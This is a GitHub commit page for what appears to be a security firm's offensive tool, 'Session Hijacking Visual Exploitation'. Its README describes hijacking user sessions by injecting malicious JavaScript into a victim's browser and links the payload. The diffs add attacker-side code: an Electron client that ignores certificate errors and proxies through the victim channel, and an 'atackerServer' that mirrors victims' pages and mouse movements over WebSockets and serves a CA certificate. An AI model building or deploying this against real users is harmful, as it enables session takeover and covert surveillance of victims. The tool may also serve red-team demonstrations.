Skip to content

Commit

Permalink
Visual Mode working, some bugs fixed
Browse files Browse the repository at this point in the history
  • Loading branch information
Raul committed Apr 13, 2023
1 parent e162df5 commit da0d77c
Show file tree
Hide file tree
Showing 16 changed files with 752 additions and 104 deletions.
63 changes: 57 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,11 +1,62 @@
## Install
# Session Hijacking Visual Exploitation

npm install --save electron
Session Hijacking Visual Exploitation is a tool that allows for the hijacking of user sessions by injecting malicious JavaScript code.

npm install express
## Installation

npm install ws
# Prerequisites

npm install uuid
To run Session Hijacking Visual Exploitation, you will need to have the following software installed:

* Node.js
* npm
* electron

# Server Installation

To install the server, follow these steps:

1. Clone the repository from GitHub:

`git clone [email protected]:doyensec/Session-Hijacking-Visual-Exploitation.git`

2. Navigate to the server directory:

`cd Session-Hijacking-Visual-Exploitation/server`

3. Install the server dependencies:

`npm install`

# Client Installation

To install the client, follow these steps:

1. Navigate to the client directory:

`cd Session-Hijacking-Visual-Exploitation/client`

2. Install electron:

`npm install --save electron`

## Usage

To use Session Hijacking Visual Exploitation, follow these steps:

1. Start the server:

`cd Session-Hijacking-Visual-Exploitation/server `
`npm start`

2. Start the client:

`cd Session-Hijacking-Visual-Exploitation/client`
`electron .`

3. Inject the malicious Javascript on the browser

[Malicious JavaScript](https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/server/public/client.js)

## Screenshots

npm install http-mitm-proxy
4 changes: 3 additions & 1 deletion client/interactive.html
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,9 @@
<input type="text" id="urlInput" value="https://example.com" style="width:90%"/>
<button id="loadButton">Load</button>

<iframe id="iframe" style="width:100%;height:500px;border:none;"></iframe>
<div style="height:100%;">
<iframe id="iframe" style="width:100%;height:1000px;border:none;"></iframe>
</div>

<script>
document.getElementById('loadButton').addEventListener('click', () => {
Expand Down
6 changes: 6 additions & 0 deletions client/main.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@ const { app, BrowserWindow, ipcMain, session } = require('electron');

app.commandLine.appendSwitch('ignore-certificate-errors');

const excludedHosts = ['localhost:3000'];

function createWindow() {
const win = new BrowserWindow({
width: 800,
Expand Down Expand Up @@ -43,6 +45,7 @@ ipcMain.on('open-interactive-window', (event, sessionID) => {

const proxyConfig = {
proxyRules: 'http:https://192.168.0.15:8081',
proxyBypassRules: excludedHosts.map(host => `*:https://localhost:3000`),
};

interactiveWin.webContents.session.webRequest.onBeforeSendHeaders((details, callback) => {
Expand All @@ -52,6 +55,7 @@ ipcMain.on('open-interactive-window', (event, sessionID) => {

interactiveWin.webContents.session.setProxy(proxyConfig).then(() => {
interactiveWin.loadFile('interactive.html').then(() => {
interactiveWin.maximize();
interactiveWin.webContents.executeJavaScript(`document.title = "Session: ${sessionID}";`);
});
});
Expand All @@ -68,6 +72,7 @@ ipcMain.on('open-visual-window', (event, sessionID) => {
});
const proxyConfig = {
proxyRules: 'http:https://192.168.0.15:8081',
proxyBypassRules: excludedHosts.map(host => `*:https://localhost:3000`)
};

visualWin.webContents.session.webRequest.onBeforeSendHeaders((details, callback) => {
Expand All @@ -77,6 +82,7 @@ ipcMain.on('open-visual-window', (event, sessionID) => {

visualWin.webContents.session.setProxy(proxyConfig).then(() => {
visualWin.loadFile('visual.html').then(() => {
visualWin.maximize();
visualWin.webContents.executeJavaScript(`document.title = "Session: ${sessionID}";`);
});
});
Expand Down
13 changes: 13 additions & 0 deletions client/package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

3 changes: 2 additions & 1 deletion client/package.json
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
{
"name": "session-hijacking-visual-explotation",
"name": "Session Hijacking Visual Explotation Client",
"version": "1.0.0",
"description": "",
"main": "main.js",
"scripts": {
"start": "electron .",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
Expand Down
67 changes: 37 additions & 30 deletions client/visual.html
Original file line number Diff line number Diff line change
Expand Up @@ -4,46 +4,46 @@
<meta charset="UTF-8" />
<title>Session: </title>
<style>
.iframe-container {
position: relative;
}
.iframe-blocker {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0);
z-index: 1;
}
#iframe {
width: 100%;
height: 600px;
border: none;
}
.iframe-container {
position: relative;
}

.iframe-blocker {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0);
z-index: 1;
}

#iframe {
width: 100%;
height: 1000px;
border: none;
}

.mouse {
.mouse {
position: absolute;
z-index: 2;
pointer-events: none;
width: 20px;
height: auto;
}

</style>
</style>
</head>
<body>
<div class="iframe-container">
<iframe id="iframe"></iframe>
<div class="iframe-blocker"></div>
<img src="assets/mouse.png" alt="Mouse" class="mouse" style="display:none;" id="mouseImage">
<iframe id="iframe"></iframe>
<div class="iframe-blocker"></div>
<img src="assets/mouse.png" alt="Mouse" class="mouse" style="display:none;" id="mouseImage"/>
</div>
<script>
async function loadDom() {
const response = await fetch('http:https://example.com');
const html = await response.text();
const ws = new WebSocket('ws:https://localhost:3000');

async function loadDom(data) {
const html = data;
const iframe = document.getElementById('iframe');
iframe.srcdoc = html;
}
Expand All @@ -55,8 +55,15 @@
mouseImage.style.display = 'block';
}

loadDom();
setMouse(100, 100);
ws.onmessage = (event) => {
const message = JSON.parse(event.data);
if (message.writeDom) {
loadDom(message.writeDom.data);
} else if (message.setMouse) {
const { x, y } = message.setMouse;
setMouse(x, y);
}
};
</script>
</body>
</html>
Binary file added screenshot_0.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added screenshot_1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
2 changes: 1 addition & 1 deletion server/app.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,6 @@ const atackerServer = require('./atackerServer');
const victimServer = require('./victimServer');
const startProxyServer = require('./proxyServer');

atackerServer();
atackerServer.startServer();
victimServer.startServer();
startProxyServer();
95 changes: 89 additions & 6 deletions server/atackerServer.js
Original file line number Diff line number Diff line change
@@ -1,15 +1,94 @@
const http = require('http');
const express = require('express');
const { startServer: startVictimServer, getConnectedClients } = require('./victimServer');
const WebSocket = require('ws');
const cheerio = require('cheerio');
const url = require('url');
const { startServer: startVictimServer, getConnectedClients, startListening, stopListening } = require('./victimServer');

const app = express();
const path = require('path');
const port = 3000;

const server = http.createServer(app);
const wss = new WebSocket.Server({ server });

const connectedClients = {};

function cleanHTML(html, baseURL) {
if (!baseURL) {
return html;
}
const $ = cheerio.load(html);
$('img[src], script[src], link[href]').each((i, el) => {
const $el = $(el);
const src = $el.attr('src') || $el.attr('href');
if (src && !src.match(/^(http|https|\/\/)/)) {
const resolved = url.resolve(baseURL, src);
$el.attr('src', resolved);
$el.attr('href', resolved);
}
});
return $.html();
}

function handleConnection(ws, req) {
const shveHeader = req.headers['shve'];
console.log(`New connection with SHVE header: ${shveHeader}`);

if (shveHeader) {
if (!connectedClients[shveHeader]) {
startListening(shveHeader);
}
connectedClients[shveHeader] = ws;
}
}

function handleDisconnection(ws, req) {
const shveHeader = req.headers['shve'];
console.log(`Connection with SHVE header ${shveHeader} closed`);

if (shveHeader && connectedClients[shveHeader] === ws) {
connectedClients[shveHeader] = null;
if (!Object.values(connectedClients).some(client => client !== null && client !== ws)) {
stopListening(shveHeader);
}
}
}

wss.on('connection', (ws, req) => {
handleConnection(ws, req);

ws.on('close', () => {
handleDisconnection(ws, req);
});
});

function writeDom(shve, data, baseURL) {
const ws = connectedClients[shve];
if (ws) {
data = cleanHTML(data, baseURL)
const message = JSON.stringify({ writeDom: { data } });
ws.send(message);
} else {
console.log(`No proxy with shve ${shve} found`);
}
}

function setMouse(shve, x, y) {
const ws = connectedClients[shve];
if (ws) {
const message = JSON.stringify({ setMouse: { x, y } });
ws.send(message);
} else {
console.log(`No proxy with shve ${shve} found`);
}
}

app.get('/sessions/list', (req, res) => {
const clients = getConnectedClients();
res.json(clients);
});


app.get('/certificate/download', (req, res) => {
const certPath = path.join(__dirname, 'certs/certs', 'ca.pem');

Expand All @@ -21,8 +100,12 @@ app.get('/certificate/download', (req, res) => {
});
});

module.exports = () => {
app.listen(port, () => {
console.log(`Server running on http:https://localhost:${port}`);
});
module.exports = {
startServer: () => {
server.listen(port, () => {
console.log(`Server running on http:https://localhost:${port}`);
});
},
writeDom,
setMouse,
};
19 changes: 0 additions & 19 deletions server/mouseRecorder.html

This file was deleted.

Loading

0 comments on commit da0d77c

Please sign in to comment.